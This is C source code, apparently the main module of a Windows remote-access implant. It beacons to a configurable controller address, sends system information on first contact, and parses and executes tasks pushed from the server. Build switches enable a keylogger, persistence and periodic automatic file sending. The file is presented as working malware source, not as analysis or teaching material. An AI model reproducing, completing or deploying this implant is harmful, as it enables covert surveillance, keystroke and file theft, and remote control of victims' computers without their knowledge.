#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "config.h"
#include "commands.c"
#include "files.c"
#include "info.c"
#include "modules.c"
#include "navigation.c"
#include "processes.c"
#include "transport.c"

// Buffer to store startup tasks result
char startup_result[1024];

LARGE_INTEGER start, end, freq;

#if TESTING_BUILD
    char agentID[] = "TestAgent";
    char* serverDomains[] = {"192.168.1.4"};
    int startupDelay = 0;
    
    #if USE_SCHANNEL
        unsigned short int SERVER_PORT = 8443;
    #elif USE_WOLFSSL
        unsigned short int SERVER_PORT = 8443;
    #else 
        unsigned short int SERVER_PORT = 8888;
    #endif

#else
    char agentID[] = "PLACEHOLDER_AGENT_ID";
    char* serverDomains[] = {"PLACEHOLDER_SERVER_ADDR"};
    unsigned short int SERVER_PORT = 54321;
    int startupDelay = 1298;
#endif

unsigned short int domainCount = sizeof(serverDomains) / sizeof(serverDomains[0]);

int reconnectDelay = 5678;
int keylogDelay = 20000;
int filesDelay = 17000;
short int firstConnection = 1;

#if ENABLE_KEYLOGGER
    HANDLE hKeylogThread = NULL;
    HANDLE hKeylogTimerThread = NULL;
#endif

#if AUTO_FILES
    HANDLE hFilesTimerThread = NULL;
#endif

// Receive response after heartbeat
void ReceiveResponse(Transport* transport) {
    char buffer[512];
    int bytesReceived = transport->recv(transport->handle, buffer, sizeof(buffer) - 1);
    if (bytesReceived <= 0) {
        fprintf(stderr, "Error receiving message from server\n");
        return;
    }
    buffer[bytesReceived] = '\0';
    printf("Message from server: %s\n", buffer);

    // Check if there is a task to do
    if (strncmp(buffer, "TASK", 4) == 0) {
        printf("Received task from server\n");
        char* taskID = strtok(buffer + 4, "~");
        char* taskType = strtok(NULL, "~");
        char* taskArgs = strtok(NULL, "");
        printf("Task ID: %s\n", taskID);
        printf("Task type: %s\n", taskType);
        printf("Task args: %s\n", taskArgs);
        if (taskType) {
            HandleTask(transport, taskID, taskType, taskArgs);
        } else {
            SendTaskResult(transport, "", "Invalid task format\n");
        }
    } else if (strcmp(buffer, "ACK") == 0) {
        printf("Message acknowledged by server\n");
    }
}

// Check-in with server
void SendHeartbeat(Transport* transport) {
    char heartbeat_message[32];
    snprintf(heartbeat_message, sizeof(heartbeat_message), "%s~HEARTBEAT", agentID);

    int sent = transport->send(transport->handle, heartbeat_message, strlen(heartbeat_message));
    if (sent <= 0) {
        fprintf(stderr, "Error: Failed to send heartbeat, returned %d\n", sent);
        CleanupTransport(transport);
        return;
    }
    printf("Heartbeat sent successfully, bytes sent: %d\n", sent);
    ReceiveResponse(transport);
}

void start_timer() {
    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&start);
}

void stop_timer() {
    QueryPerformanceCounter(&end);
    double elapsed = (double)(end.QuadPart - start.QuadPart) / freq.QuadPart;
    printf("\nElapsed time: %.6f seconds\n", elapsed);
}

int main() {
    if (firstConnection) {
        printf("Initial startup delay for %d milliseconds...\n", startupDelay);
        Sleep(startupDelay);
    }

    #if ENABLE_PERSISTENCE && AUTO_PERSISTENCE
        CheckPersistence(startup_result);
    #endif

    #if ENABLE_KEYLOGGER && AUTO_KEYLOGGER
        InitKeylogger(startup_result);
    #endif

    #if AUTO_FILES
        InitFileSender();
    #endif

    // Testing
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        fprintf(stderr, "Error: WSAStartup failed, error %d\n", WSAGetLastError());
        return 0;
    }

    // Main loop for communication with server
    while (1) {
        // Testing
        start_timer();

        Transport* transport = InitTransport(GetNextDomain(), SERVER_PORT);
        if (!transport) {
            printf("Connection failed. Retrying in %d seconds...\n", reconnectDelay / 1000);
            Sleep(reconnectDelay);
            continue;
        }
        printf("Connected to server\n");

        if (firstConnection) {
            SendSysInfo(startup_result);
            SendTaskResult(transport, "SYSINFO", startup_result);
            firstConnection = 0;
        } else {
            printf("Trying to send heartbeat\n");
            SendHeartbeat(transport);
        }
        CleanupTransport(transport);

        printf("Disconnecting from server\n");

        // Testing
        stop_timer();

        Sleep(reconnectDelay);
    }
    return 0;
}